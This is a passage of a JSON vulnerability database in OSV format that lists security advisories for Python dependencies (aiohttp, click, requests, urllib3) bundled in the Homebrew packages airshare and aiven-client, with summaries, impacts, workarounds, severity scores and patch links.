mary":"aiohttp: CRLF injection in multipart headers","details":"### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54273","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-4fvr-rgm6-gqmc","CVE-2026-54273","PYSEC-2026-2107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: HTTP/1 Pipelined Requests Queue Without Limit","details":"### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54274","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-xcgm-r5h9-7989","CVE-2026-54274","PYSEC-2026-2108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: Incomplete websocket frame payloads bypass memory limits","details":"### Summary\n\nIf an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.\n\n### Impact\n\nIf a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/14b6ee851fb16ec199acb950de0c82d476799e7d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xcgm-r5h9-7989"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54275","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-4m7w-qmgq-4wj5","CVE-2026-54275","PYSEC-2026-237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections","details":"### Summary\n\nThe `server_hostname` TLS SNI check can be bypassed when an existing connection is reused.\n\n### Impact\n\nIf an application makes multiple requests to the same domain, but with different per-request `server_hostname` parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.\n\n### Workaround\n\nDisable keep_alive if you need to change the `server_hostname` check between requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ca2b6c28a25726527a8b60f25960262a91ed0e0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54276","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-hpj7-wq8m-9hgp","CVE-2026-54276","PYSEC-2026-2109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges","details":"### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54277","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-63hw-fmq6-xxg2","CVE-2026-54277","PYSEC-2026-2110"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines","details":"### Summary\n\nIt is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.\n\n### Impact\n\nIf using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hw-fmq6-xxg2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54278","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-g3cq-j2xw-wf74","CVE-2026-54278","PYSEC-2026-2111"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup","details":"### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54279","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-2fqr-mr3j-6wp8","CVE-2026-54279","PYSEC-2026-2112"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence","details":"### Summary\n\nHost-only cookies that are saved with ``CookieJar.save()`` and then restored later with ``CookieJar.load()`` lose their host-only status.\n\n### Impact\n\nHost-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2fqr-mr3j-6wp8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-54280","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-9x8q-7h8h-wcw9","CVE-2026-54280","PYSEC-2026-2113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_24"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect","details":"### Summary\n\nPayload resources are not closed correctly when a client disconnects in the middle of a write.\n\n### Impact\n\nIf a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9x8q-7h8h-wcw9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-59881","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-69243","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-69244","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-7246","published":"2026-08-13T16:35:13Z","modified":"2026-08-13T16:35:13Z","upstream":["PYSEC-2026-2132","CVE-2026-7246","GHSA-47fr-3ffg-hgmw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.6_25"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.3.3","resource":"click","resource_purl":"pkg:pypi/click@8.4.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"click","subject_version":"8.4.2","key":"pkg:pypi/click@8.4.2","resource":"click"}]},"details":"Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-7246"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121"},{"type":"FIX","url":"https://github.com/pallets/click/releases/tag/8.3.3"},{"type":"EVIDENCE","url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw"}]},{"schema_version":"1.7.3","id":"BREW-airshare-GHSA-pjjw-qhg8-p2p9","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-pjjw-qhg8-p2p9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp has vulnerable dependency that is vulnerable to request smuggling","details":"### Summary\nllhttp 8.1.1 is vulnerable to two request smuggling vulnerabilities.\nDetails have not been disclosed yet, so refer to llhttp for future information.\nThe issue is resolved by using llhttp 9+ (which is included in aiohttp 3.8.6+).","references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pjjw-qhg8-p2p9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/996de2629ef6b4c2934a7c04dfd49d0950d4c43b"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bcc416e533796d04fb8124ef1e7686b1f338767a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]}],"aiven-client":[{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2023-32681","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2023-43804","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:09:36Z","upstream":["GHSA-v845-jxx5-vc9f","CVE-2023-43804","PYSEC-2023-192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"3.1.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.6","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"`Cookie` HTTP header isn't stripped on cross-origin redirects","details":"urllib3 doesn't treat the `Cookie` HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a `Cookie` header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.\n\nUsers **must** handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the `Cookie` header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## 